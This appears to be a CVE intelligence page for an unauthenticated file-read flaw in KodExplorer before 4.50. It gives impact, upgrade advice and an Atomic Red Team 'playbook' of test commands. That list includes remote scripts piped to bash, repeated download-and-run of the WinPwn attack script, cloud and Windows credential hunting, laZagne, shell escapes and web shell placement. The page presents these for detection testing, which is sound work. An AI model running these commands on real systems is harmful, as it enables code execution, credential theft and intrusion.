CVE-2022-46154
Overview
This vulnerability is a directory traversal (CWE-22) affecting the file access control mechanism in kalcaddle KodExplorer versions prior to 4.50. The root cause is insufficient validation of user-supplied file path inputs, allowing unauthenticated users to specify arbitrary file paths. The affected component is the web-based file manager and code editor interface responsible for handling file retrieval requests from the host operating system's file system.
Vulnerability Description
Kodexplorer is a chinese language web based file manager and browser based code editor. Versions prior to 4.50 did not prevent unauthenticated users from requesting arbitrary files from the host OS file system. As a result any files available to the host process may be accessed by arbitrary users. This issue has been addressed in version 4.50. Users are advised to upgrade. There are no known workarounds for this issue.
Impact
An unauthenticated attacker with network access can exploit this vulnerability to read arbitrary files on the host system, including sensitive configuration, credential, or system files. This can lead to unauthorized disclosure of confidential information and facilitate further attacks such as privilege escalation or lateral movement within the environment. The attack requires no user interaction or authentication (CVSS vector AV:N/AC:L/PR:N/UI:N), making it highly accessible to remote adversaries. The vulnerability compromises confidentiality but does not affect integrity or availability directly.
Solution
Users of kalcaddle KodExplorer should upgrade to version 4.50 or later, where this vulnerability has been addressed. The vendor's security advisory (https://github.com/kalcaddle/KodExplorer/security/advisories/GHSA-6f8p-4w5q-j5j2) provides detailed patch information and instructions. No workarounds are available, so timely application of the official update is required to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the web-based file manager and code editor allows unauthenticated users to request arbitrary files from the host operating system's file system. This flaw arises from inadequate access controls, which fail to restrict file access based on user authentication status. As a result, any files that the host process can access become potentially available to malicious actors, leading to unauthorized data exposure. The affected versions prior to 4.50 lack the necessary checks to validate user permissions, making it easy for attackers to exploit this weakness and retrieve sensitive information stored on the server.
Attack vectors for this vulnerability are straightforward, as they primarily involve sending crafted requests to the file manager's interface. An attacker could leverage tools such as web browsers or automated scripts to probe the application for accessible files. By exploiting the lack of authentication, an attacker can enumerate files and directories, potentially accessing configuration files, user data, or even sensitive system files that could lead to further compromise. Scenarios may include retrieving database credentials, application secrets, or personal identifiable information (PII) of users, which could subsequently be used for identity theft, data breaches, or further attacks against the organization.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on the affected file manager for critical operations. Unauthorized access to sensitive files can lead to significant business risks, including financial loss, reputational damage, and regulatory penalties. For instance, if an attacker gains access to confidential business documents or customer data, it could result in legal ramifications under data protection laws such as GDPR or HIPAA. Moreover, the potential for data leakage can erode customer trust, leading to long-term consequences for brand reputation and customer retention.
To effectively detect and mitigate this vulnerability, organizations should prioritize upgrading to the latest version of the affected product. Regularly applying patches and updates is a fundamental best practice in cybersecurity that helps protect against known vulnerabilities. Additionally, implementing robust access controls and authentication mechanisms can significantly reduce the risk of unauthorized access. Organizations should also conduct regular security assessments and penetration testing to identify and remediate potential weaknesses in their systems. Monitoring logs for unusual access patterns can aid in early detection of exploitation attempts, allowing for timely incident response.
In conclusion, the vulnerability in the web-based file manager presents a significant threat to organizations that utilize it without proper safeguards. The ease of exploitation, coupled with the potential for severe business impacts, underscores the importance of maintaining up-to-date software and implementing comprehensive security measures. By adopting a proactive approach to vulnerability management and emphasizing user authentication and access controls, organizations can better protect their sensitive data and mitigate the risks associated with such vulnerabilities.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Kodcloud | Kodexplorer | All |
cpe:2.3:a:kodcloud:kodexplorer:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-46154 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/kalcaddle/KodExplorer/security/advisories/GHSA-6f8p-4w5q-j5j2 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/kalcaddle/KodExplorer/commit/1f7072c0e12150686f10ee8cda82c004f04be98c |